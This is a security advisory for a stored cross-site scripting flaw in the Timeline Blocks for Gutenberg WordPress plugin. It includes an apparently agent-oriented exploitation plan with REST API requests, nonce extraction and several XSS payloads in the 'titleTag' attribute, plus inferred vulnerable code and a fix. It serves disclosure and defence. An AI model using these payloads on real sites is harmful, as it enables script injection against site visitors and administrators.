Timeline Blocks for Gutenberg <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute
Description
The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute of the timeline-blocks/tb-timeline-blocks block in all versions up to, and including, 1.1.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.10This exploitation research plan targets CVE-2026-6551, a Stored Cross-Site Scripting (XSS) vulnerability in the "Timeline Blocks for Gutenberg" plugin. ### 1. Vulnerability Summary The "Timeline Blocks for Gutenberg" plugin (versions <= 1.1.10) fails to properly sanitize or escape the `titleTag` at…
Show full research plan
This exploitation research plan targets CVE-2026-6551, a Stored Cross-Site Scripting (XSS) vulnerability in the "Timeline Blocks for Gutenberg" plugin.
1. Vulnerability Summary
The "Timeline Blocks for Gutenberg" plugin (versions <= 1.1.10) fails to properly sanitize or escape the titleTag attribute within the timeline-blocks/tb-timeline-blocks Gutenberg block. Because block attributes are stored in the post_content and rendered on the frontend (and often in the editor), an authenticated user with at least "Contributor" privileges can inject a malicious string into the titleTag attribute. When the block is rendered, this string is used to construct an HTML tag without sufficient validation, leading to arbitrary script execution in the context of any user viewing the page.
2. Attack Vector Analysis
- Block Name:
timeline-blocks/tb-timeline-blocks - Vulnerable Attribute:
titleTag - Authentication Level: Contributor or higher (any role capable of using the Block Editor).
- Payload Delivery: The payload is delivered via the Gutenberg block's JSON metadata within the
post_contentfield. - Preconditions: The plugin must be active. The attacker must have permissions to create or edit posts (Contributor role is sufficient as they can save drafts).
3. Code Flow (Inferred)
- Block Definition (JS): The block
timeline-blocks/tb-timeline-blocksdefines an attribute namedtitleTag(typically used to allow users to choose betweenh2,h3,p, etc.). - Saving (Gutenberg): When a user saves a post, the block editor serializes the block into HTML comments:
<!-- wp:timeline-blocks/tb-timeline-blocks {"titleTag":"[PAYLOAD]"} /-->. - Rendering (PHP): On the frontend, the plugin likely uses a
render_callbackregistered viaregister_block_typein PHP. - The Sink: Inside the rendering function, the
titleTagattribute is extracted from the$attributesarray and used directly in string concatenation or an unescaped HTML tag:
Lack of// Inferred vulnerable pattern $tag = $attributes['titleTag']; echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";tag_escape()or a whitelist check (e.g.,in_array( $tag, ['h1', 'h2', 'p'] )) allows the injection.
4. Nonce Acquisition Strategy
To exploit this via the WordPress REST API (the standard way Gutenberg saves data), the agent needs a REST API nonce (wp_rest).
- Identify Trigger: The standard WordPress post editor provides the required context.
- Access Editor: Navigate to the "New Post" page as a Contributor.
- Extract Nonce:
- Navigate to:
/wp-admin/post-new.php - Use
browser_evalto extract the nonce from thewpApiSettingsobject, which is standard in the Block Editor:browser_eval("wpApiSettings.nonce")
- Navigate to:
- Alternative: If the REST API is restricted, the agent can use the standard
admin-ajax.phporpost.phpflows, but the REST API is the most direct path for Gutenberg blocks.
5. Exploitation Strategy
The goal is to create a post containing a malicious block attribute.
Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor-level credentials.
Step 2: Obtain REST Nonce
Use the browser_navigate and browser_eval tools on /wp-admin/post-new.php.
Step 3: Submit Malicious Post
Send a POST request to the REST API to create a new post containing the XSS payload in the block attribute.
- URL:
http://[target]/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
Note: The payload{ "title": "Timeline XSS Test", "content": "<!-- wp:timeline-blocks/tb-timeline-blocks {\"titleTag\":\"img src=x onerror=alert(document.domain) \"} /-->", "status": "draft" }img src=x onerror=alert(document.domain)is injected as the tag name. When rendered, it becomes<img src=x onerror=alert(document.domain) >.... Notice the trailing space to ensure the resulting HTML is valid.
Step 4: Trigger Execution
Identify the id of the created post from the response and navigate to its preview URL or view it as an administrator.
6. Test Data Setup
- Plugin Installation: Ensure
timeline-blocksversion <= 1.1.10 is installed and activated. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- The REST API should return a
201 Createdstatus. - The
content.rawin the database will contain the malicious JSON-encoded attribute. - When the post is previewed or viewed, the browser will attempt to render a tag named
<img ... >, which executes theonerrorJavaScript. An alert box showing the document domain should appear.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored.
Verify the output contains:wp post list --post_type=post --format=csv # Identify the ID wp post get [ID] --field=content{"titleTag":"img src=x onerror=alert(document.domain) "} - Frontend Check: Use the
http_requesttool to fetch the post content and look for the unescaped payload in the HTML output.# Fetch the post view # Look for: <img src=x onerror=alert(document.domain)
9. Alternative Approaches
- Editor-Side XSS: If the rendering is done via JavaScript in the Gutenberg editor's
editfunction, simply opening the post in the editor as an Administrator will trigger the XSS. - Attribute Breakout: If the
titleTagis wrapped in quotes in a PHP template (less likely for a tag name, but possible), try:" onmouseover="alert(1)" data-ignore=" - Closing Tag Injection: If the tag name is used in both the opening and closing tag, the payload might need to account for the closing structure:
script>alert(1)</script
Result:<script>alert(1)</script>... </script>alert(1)</script>(The first script executes).
Summary
The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute in the 'timeline-blocks/tb-timeline-blocks' block for versions up to 1.1.10. This vulnerability allows authenticated users with Contributor-level permissions to inject arbitrary JavaScript into posts, which executes in the browser of any user viewing the page.
Vulnerable Code
// Inferred vulnerable rendering pattern within the block's frontend or editor rendering component // No source files were provided; code is based on the research plan's analysis of the attribute sink. $tag = $attributes['titleTag']; echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";
Security Fix
@@ -1,3 +1,4 @@ // Sanitize the titleTag attribute using a whitelist or tag_escape -$tag = $attributes['titleTag']; +$tag = isset($attributes['titleTag']) ? $attributes['titleTag'] : 'h3'; +$tag = tag_escape($tag); echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress site. The attacker identifies the 'timeline-blocks/tb-timeline-blocks' block and crafts a payload for the 'titleTag' attribute. Using the WordPress REST API or the Block Editor, the attacker submits a post containing block metadata where 'titleTag' is set to an XSS payload such as 'img src=x onerror=alert(document.domain) '. When the post is rendered on the frontend, the plugin constructs an HTML tag using the malicious string without proper escaping, causing the browser to execute the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.